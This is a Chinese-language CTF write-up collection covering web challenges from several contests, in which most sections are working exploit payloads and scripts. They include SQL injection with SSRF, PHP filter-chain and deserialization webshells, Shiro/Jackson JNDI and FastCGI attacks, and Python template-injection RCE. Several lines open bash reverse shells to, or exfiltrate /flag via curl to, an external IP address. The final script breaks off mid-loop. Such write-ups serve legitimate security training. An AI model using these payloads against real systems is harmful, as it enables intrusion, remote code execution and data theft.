bytectf

web

double sqli

访问,首先后面的参数id就很可疑,尝试mysql注入,单引号闭合,发现回显有点奇怪,尝试万能密码,发现回显是concat(1,1)=1,再直接输入?id=1|1--+,这时我仍以为是mysql注入,这个concat就是个连接,那么直接在||之后注入就行,然后查询?id=1||(select database()),得到一个default,但再用mysql注入就不行了
遇到无回显的时候直接出了一个something in files,点开,发现是个图,直接访问/files/,发现存在目录穿越,直接访问/files../,app目录下找到源码,东翻西找发现是个clickhouse的sql注入,查询资料,直接注入,查到ctf库,在查到一个hint表,查看ctf.hint,(select *from ctf.hint),发现内容是,我这个菜逼没权限,于是再看看源码,使用的账号是user_02,那肯定有01,那么就找,搜到/var/lib/clickhouse/access 存放的是线上所有用户的授权的sql,真找到了,但看了很久文档都没看到可以用的语句,之后找到一篇文章ClickHouse数据库 8123端口的未授权访问,但打开自己的服务器尝试curl似乎连不上,再往后看,发现一个url函数,回头看看文档,直接进行ssrf,(select * from url('http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=(select%2520*from%2520ctf.flag)',CSV,'columns String'))

拟态

zerocalc

题目描述:计算器出现的第零天,爱他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
readFile('./src/index.js') = 


const express = require("express");
const path = require("path");
const fs = require("fs");
const notevil = require("./notevil"); // patched something...
const crypto = require("crypto");
const cookieSession = require("cookie-session");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.use(cookieSession({
name: 'session',
keys: [Math.random().toString(16)],
}));

//flag in root directory but name is randomized

const utils = {
async md5(s) {
return new Promise((resolve, reject) => {
resolve(crypto.createHash("md5").update(s).digest("hex"));
});
},
async readFile(n) {
return new Promise((resolve, reject) => {
fs.readFile(n, (err, data) => {
if (err) {
reject(err);
} else {
resolve(data);
}
});
});
},
}

const template = fs.readFileSync("./static/index.html").toString();

function render(s) {
return template.replace("{{res}}", s.join('<br>'));
}

app.use("/", async (req, res) => {
const e = req.body.e;
const his = req.session.his || [];
if (e) {
try {

const ret = (await notevil(e, utils)).toString();
his.unshift(`${e} = ${ret}`);
if (his.length > 10) {
his.pop();
}
} catch (error) {
console.log(error);
his.add(`${e} = wrong?`);
}
req.session.his = his;
}

res.send(render(his));
});

app.use((err, res) => {
console.log(err);
res.redirect('/');
});

app.listen(process.env.PORT || 8888);

本以为是一个notevil(e, utils)漏洞,但这里已经被修复了,尝试readFile(‘/flag’)

esayfilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}

写马传:

1
@eval($_REQUEST[1]);

得到

./files/22698814ea

http://124.70.181.14:32767/?action=r&r=convert.base64-decode/resource@/../../../files/22698814ea&1=system(%27cat%20/flag%27);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Warning: include(): unable to locate filter "resource=." in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (resource=.) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter "files" in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (files) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter "resource@" in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (resource@) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter ".." in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (..) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter ".." in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (..) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter ".." in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (..) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter "files" in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (files) in /var/www/html/index.php on line 16

Warning: include(): unable to locate filter "22698814ea" in /var/www/html/index.php on line 16

Warning: include(): Unable to create filter (22698814ea) in /var/www/html/index.php on line 16

flag{Cuw5RV9SvBUJR1ACBgLBm83p2VZe7lRG}

以上是Du1L0ve师傅比赛时打出来payload

经过师傅的赛后分析讲解,已经大致搞明白这个的原理,payload可以简言之可以精简为以下:

?action=r&r=convert.base64-decode/../22698814ea&1=system(%27cat%20/flag%27);

简单来说,resource参数将值作为一个文件去检测是否文件存在

经过目录穿越反复横跳检测该文件为存在

接着filter将之后的所有内容,也就是:

1
resource=./files/convert.base64-decode/../22698814ea

以斜杠为分隔,尝试建立过滤器,convert.base64-decode过滤器创建成功,将读取出的信息进行了base64解码

最终得到的马被文件包含,成功rce

Jack-Shiro

原题

扫,得到/json

result

然后抓包,发现重定向到/login

回显 :登录失败以及响应头:rememberMe=deleteMe

使用CVE-2020-1957绕过:

GET :/;/json

POST:true

返回:jackson interface

jackson反序列化 + JNDI注入 + LDAP返回序列化数据触发本地Gadget Bypass jdk 8u_191限制

result

使用工具ysomap

工具需要jdk8环境运行,并且安装配置maven,安装过程写在文章服务器相关里了,服务器开两个端口,xshell打开两个窗口,拿一个端口作为跳板进行接收,另一个端口弹shell

8084端口

1
2
3
4
5
6
7
8
9
10
11
cli/target>java -jar ysomap.jar cli

# 接着输入如下指令

use exploit LDAPLocalChainListener
set lport 8084
use payload CommonsCollections8
use bullet TransformerBullet
set version 3
args 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDcuNTYuMjQ0LzgwODUgMD4mMQ==}|{base64,-d}|{bash,-i}'
run

8085端口

1
nc --lvvp 8085

发包
GET:/;/json

POST:["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://ip:PORT/Calc"}]

弹shell成功,执行:

result

终于自己复现成功了,happy,不过知识点还需要看看

Give_me_your_0day

打开页面,点击开始,抓包,传入了一些输入的参数

查看源码:在install.php中,输入的内容是进行数据库连接验证

远程连接数据库,可以使用工具roguemysql,搭建一个伪造的数据库,当靶机连接上这个伪造的服务器时,即可进行任意文件读取

直接使用工具给出的php文件,stream_socket_server函数里的参数的端口修改成一个已经开启的闲置端口,然后在服务器上执行该文件

另一边对抓包内容修改,数据库适配器出输入的值修改成Mysqli,ip填的服务器地址47.107.56.244,端口填之前改的那个

result

发包,这边测试一下index.php,读取成功,读取根目录下flag

result

newhospital

祖传f12,发现源码中有index.php?id=

尝试随意输入没有反应,挨个尝试,发现在feature.php发现报错

1
2
knowledge
Warning: file_get_contents(2.js): failed to open stream: No such file or directory in /var/www/html/feature.php on line 468

那么源码部分应该是

1
file_get_contents($_GET['id']'.js')

%00截断失败,应该是高于5.4版本

扫靶机,得到/old/文件夹,再扫/old/文件夹,发现下面结构和工作目录下一样,于是访问/old/feature,发现无论如何报错都是2.js,最后抓包发现cookie处有一个参数:API,值是base64编码,解码之后就是2.js,尝试修改,确实就是这里进行命令执行,直接包含工作目录下的flag.php,因为是在old目录下,所以需要目录穿越一下就行了

ezpickle

用柠檬师傅的curl带出flag的方法成功了,高高兴兴去尝试三月七师傅的弹shell,为什么弹不出啊!为什么直接用他的脚本改成我的服务器ip就会报错啊!我仍未知道那天弹不了shell的原因……

总之成功了一个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# app.py
from flask import Flask, request, session, render_template_string, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def index():
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)
return render_template_string('Hello')


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
1
2
3
4
5
6
7
# config.py
notadmin={"admin":"no"}

def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)

处理的是参数name的值,先将传入值base64解码,然后用load方法将对象反序列化

Pickle反序列化源码分析与漏洞利用

由于反序列化过程是完全可控的,因此利用这一漏洞进行绕过config.py中的 notadmin["admin"]=="yes"

1
2
3
4
5
cconfig
notadmin
S"admin"
S"yes"
s0

先使用c操作码引入全局变量:config模块里面的notadmin,然后使用s操作码进行覆盖

1
2
3
4
5
6
7
8
cconfig
notadmin
S"admin"
S"yes"
s0(S"__import__('os').system('curl http://ip:8085/?flagIs-$(cat /flag | base64)')"
iconfig
backdoor
.

经过base64编码再传入

服务器监听8085端口

1
nc -lvvp 8085

发包,即可进行命令执行并将执行命令的结果通过curl传到自己监听的端口

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
import requests
import io

data = b"""cconfig
notadmin
S"admin"
S"yes"
s0(S"__import__('os').system('curl http://47.107.56.244:8085/?flagIs-$(cat /flag | base64)')"
iconfig
backdoor
.
"""
payload = '?name=' + base64.b64encode(data).decode()

url = 'http://124.71.183.254:32770/'

requests.get(url=url+payload)

魔法世界

misc

WELCOME DASCTFxJlenu

nc node4.buuoj.cn 25924

本以为就是签到题(也确实是),结果试了几分钟,输入个str时输出个

1
<type 'str'>

感觉到这是python脚本,直接用模板注入的方法进行文件查看,接着使用一个存在引入os模块的方法进行命令执行

1
2
3
4
5
6
7
8
9
10
11
# 使用<type 'file'>进行文件读取

[].__class__.__mro__[1].__subclasses__()[40]('talk.py').read()

# 使用<class 'site._Printer'>或 <class 'site.Quitter'>执行os的system方法命令执行

[].__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('ls')

flag.txt

[].__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('cat flag.txt')

迷路的魔法少女

本地试了下,发现可以直接拼接执行

GET :?attrid[0]=a&attrvalue[0]=")-phpinfo()-("

发现什么过滤都没有

GET :?attrid[0]=a&attrvalue[0]=")-system('ls')-("

GET :?attrid[0]=a&attrvalue[0]=")-system('ls /')-("

发现flag.sh

GET :?attrid[0]=a&attrvalue[0]=")-system('cat /flag.sh')-("

1
2
3
4
5
#!/usr/bin/env bash 
TZ="Tokyo $FLAG"
echo "Tokyo $FLAG" > /etc/timezone
export FLAG=not_here
FLAG=not_here

找到flag的位置

GET :?attrid[0]=a&attrvalue[0]=")-system('cat /etc/timezone')-("

geek2021

babysql

直接联合查询注入,一共查询了四个字段,显示第一第二个字段,查到库flag,表fllag,列名fllllllag

最后直接:

uname=admin&pwd=1’union%20select%201,(select%20group_concat(fllllllag)from%20flag.fllag),3,4#&wp-submit=functio

babyPOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}

class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}

class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}

class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}

if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}

简单反序列化,直接找利用链然后造poc:

直接从类c开始,使得静态变量为true,然后在c里面创建一个e类对象进入类e,通过判断,调用afkl方法,将afkl赋值为新建的d类对象,触发魔术方法__invoke,这里第二个静态变量赋值为true,并且将返回字符串value,将value赋值为新建b类对象,触发魔术方法__toString,通过判断,执行exec函数,参数可控,执行任意命令,无回显,直接curl或者弹shell都行,我是直接curl将文件内容通过base64带出,服务器nc监听,最终得到flag

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class a {
public static $Do_u_like_JiaRan = false;
public static $Do_u_like_AFKL = false;
}

class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __construct(){
$this->i_want_2_listen_2_MaoZhongDu = 'curl http://服务器ip:端口/?flagIs-$(cat /flag | base64)';
}
}

class c {
public $muhua;
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}

class d {
public $value;
public function __construct(){
$this->value=new b;
}
}

class e {
public $afkl;
public function __construct(){
$this->afkl=new d;
}
}

$muhua = new c;

$muhua->muhua = new e;

$out = serialize($muhua);

var_dump($out);

$out = base64_encode($out);

var_dump($out);

where_is_my_FUMO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
function chijou_kega_no_junnka($str) {
$black_list = [">", ";", "|", "{", "}", "/", " "];
return str_replace($black_list, "", $str);
}

if (isset($_GET['DATA'])) {
$data = $_GET['DATA'];
$addr = chijou_kega_no_junnka($data['ADDR']);
$port = chijou_kega_no_junnka($data['PORT']);
exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
highlight_file(__FILE__);
}

直接可以弹shell,可以通过

?DATA[ADDR]=服务器ip&DATA[PORT]=端口1

但它只能让我执行,看不到回显,不过够了

bash -i >& /dev/tcp/服务器ip/端口2 0>&1

于是在第二个端口进行访问,图片超级大,一个屏幕装不下,但有curl,于是直接传:然后是需要的知识

-F参数用来向服务器上传二进制文件。

$ curl -F ‘file=@photo.png’ https://google.com/profile
上面命令会给 HTTP 请求加上标头Content-Type: multipart/form-data,然后将文件photo.png作为file字段上传。

-F参数可以指定 MIME 类型。

$ curl -F ‘file=@photo.png;type=image/png’ https://google.com/profile
上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为application/octet-stream。

-F参数也可以指定文件名。

1
2
$ curl -F 'file=@photo.png;filename=me.png' https://google.com/profile
上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。

开第三个端口进行监听:

nc -lvvp 端口3 >flag.txt

端口2执行:

curl -F ‘file=@flag.png’ http://47.107.56.244:8086

默默等待,然后传输完成,将文件传到本地,010打开,将png图片头格式之前的东西都删掉,改后缀为png,打开图片即显示flag

如果不会crul,或许你需要一点小小的帮助:点击进入curl指令学习

babypy

模板注入:

1
2
3
4
5
6
7
[].__class__.__mro__[1].__subclasses__()

直接查询到第213个是Popen函数,命令执行:
{{[].__class__.__mro__[1].__subclasses__()[213]('ls',shell=True,stdout=-1).communicate()[0]}}

直接读取文件
{{[].__class__.__mro__[1].__subclasses__()[213]('cat flag',shell=True,stdout=-1).communicate()[0]}}

Baby_PHP_Black_Magic_Enlightenment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no way"):NULL;
if($temp>9999){
echo file_get_contents('./2.php');
echo "How's that possible";
}
highlight_file(__FILE__);
//Art is long, but life is short. So I use PHP.
//I think It`s So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ le jiarenmen

?>

弱类型比较直接绕:

?password=1e9a

查看页面源码,php文件读取php文件常常是以页面源码形式出现

baby_magic.php
访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
error_reporting(0);

$flag=getenv('flag');
if (isset($_GET['user']) and isset($_GET['pass']))
{
if ($_GET['user'] == $_GET['pass'])
echo 'no no no no way for you to do so.';
else if (sha1($_GET['user']) === sha1($_GET['pass']))
die('G1ve u the flag'.$flag);
else
echo 'not right';
}
else
echo 'Just g1ve it a try.';
highlight_file(__FILE__);
?>

数组绕过

?user[0]=a&pass[0]=1

得到

baby_revenge.php
访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);

$flag=getenv('fllag');
if (isset($_GET['user']) and isset($_GET['pass']))
{
if ($_GET['user'] == $_GET['pass'])
echo 'no no no no way for you to do so.';
else if(is_array($_GET['user']) || is_array($_GET['pass']))
die('There is no way you can sneak me, young man!');
else if (sha1($_GET['user']) === sha1($_GET['pass'])){
echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";
die('Genji:We will see again Hanzo'.$flag.'<br/>');
}
else
echo 'Wrong!';
}else
echo 'Just G1ve it a try.';
highlight_file(__FILE__);
?>

找到文章,链接

1
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

1
%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
1
?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

here_s_the_flag.php

访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
$flag=getenv('flllllllllag');
if(strstr("Longlone",$_GET['id'])) {
echo("no no no!<br>");
exit();
}

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "Longlone")
{

echo "flag: $flag";
}
highlight_file(__FILE__);
?>

直接给我二次编码绕过了

?id=%254conglone

flag{PHP_1s_fu1king_awesome}

蜜雪冰城甜蜜蜜

前端加密然后传数据给sign.php再返回给主页,具体代码再最后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
* 生成签名
* @params 待签名的json数据
* @secret 密钥字符串
*/
function makeSign(params, secret){
var ksort = Object.keys(params).sort();
var str = '';
for(var ki in ksort){
str += ksort[ki] + '=' + params[ksort[ki]] + '&';
}

str += 'secret=' + secret;
var token = hex_md5(str).toUpperCase();
return rsa_sign(token);
}

/*
* rsa加密token
*/
function rsa_sign(token){
var pubkey='-----BEGIN PUBLIC KEY-----';
pubkey+='MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAbfx4VggVVpcfCjzQ+nEiJ2DL';
pubkey+='nRg3e2QdDf/m/qMvtqXi4xhwvbpHfaX46CzQznU8l9NJtF28pTSZSKnE/791MJfV';
pubkey+='nucVcJcxRAEcpPprb8X3hfdxKEEYjOPAuVseewmO5cM+x7zi9FWbZ89uOp5sxjMn';
pubkey+='lVjDaIczKTRx+7vn2wIDAQAB';
pubkey+='-----END PUBLIC KEY-----';
// 利用公钥加密
var encrypt = new JSEncrypt();
encrypt.setPublicKey(pubkey);
return encrypt.encrypt(token);
}

/*
* 获取时间戳
*/
function get_time(){
var d = new Date();
var time = d.getTime()/1000;
return parseInt(time);
}

//secret密钥
var secret = 'e10adc3949ba59abbe56e057f20f883e';

$("[href='#']").click(function(){

var params = {};
console.log(123);

params.id = $(this).attr("id");
params.timestamp = get_time();
params.fake_flag= 'SYC{lingze_find_a_girlfriend}';
params.sign = makeSign(params, secret);
$.ajax({
url : "http://106.55.154.252:8083/sign.php",
data : params,
type:'post',
success:function(msg){
$('#text').html(msg);
alert(msg);
},
async:false

});

})

三个数据都需要对上,但既然是通过js加密,所以直接修改前端页面数据并提交执行即可

f12修改页面源码,随便一个可以提交的标签都可以,直接添加或修改,然后点击提交即可获取

陇原战疫

eaaasyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}


class Hint {

public function __wakeup(){
$this->hint = "no hint";
}

public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}


class Bunny {

public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {

public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}

if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}

造个poc

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
public $muhua;
public function __construct(){
$this->muhua = new Bypass();
}
}


class Hint {
public $hint;
public function __construct(){
$this->hint = "";
}

}


class Bunny {
public $filename;
public $data;
public function __construct(){
$this->filename = "muhua.php";
$this->data = "<?php @eval(\$_REQUEST['1']);";
}

}

class Welcome {
public $username;
public function __construct(){
$this->username = new Bunny();
}
}

class Bypass {
public $str4;
public function __construct(){
$this->str4 = new Welcome();
}
}



$a = new Esle();


var_dump(serialize($a));

echo "<br>";

var_dump(urlencode(serialize($a)));

不知道为什么打不通,明明本地都行,也不知道他版本是多少

/var/www/html/index.php

bash -c “bash -i >& /dev/tcp/ip/8084 0>&1”

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.107.56.244/8085%200%3E%261%22%27%29%3Bdie%28%27—–Made-by-SpyD3r—–%0A%27%29%3B%3F%3E%00%00%00%00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8084))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

curl http://47.107.56.244:8085/?flagIs-$(cat /flag | base64)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import socket
from urllib.parse import unquote

payload = unquote("%01%01%1EJ%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1EJ%02%16%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH63%098PHP_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%0F8PHP_ADMIN_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%01%04%1EJ%00%00%00%00%01%05%1EJ%00%3F%00%00%3C%3Fphp%20system%28%27curl%20http%3A//47.107.56.244%3A8085/%20-F%20file%3D%40/flag%27%29%3B%3F%3E%01%05%1EJ%00%00%00%00")

payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

sk2 = socket.socket()
sk2.bind((host, 39021))
sk2.listen()

count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20))
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")

print(conn.recv(20))

if count == 1:
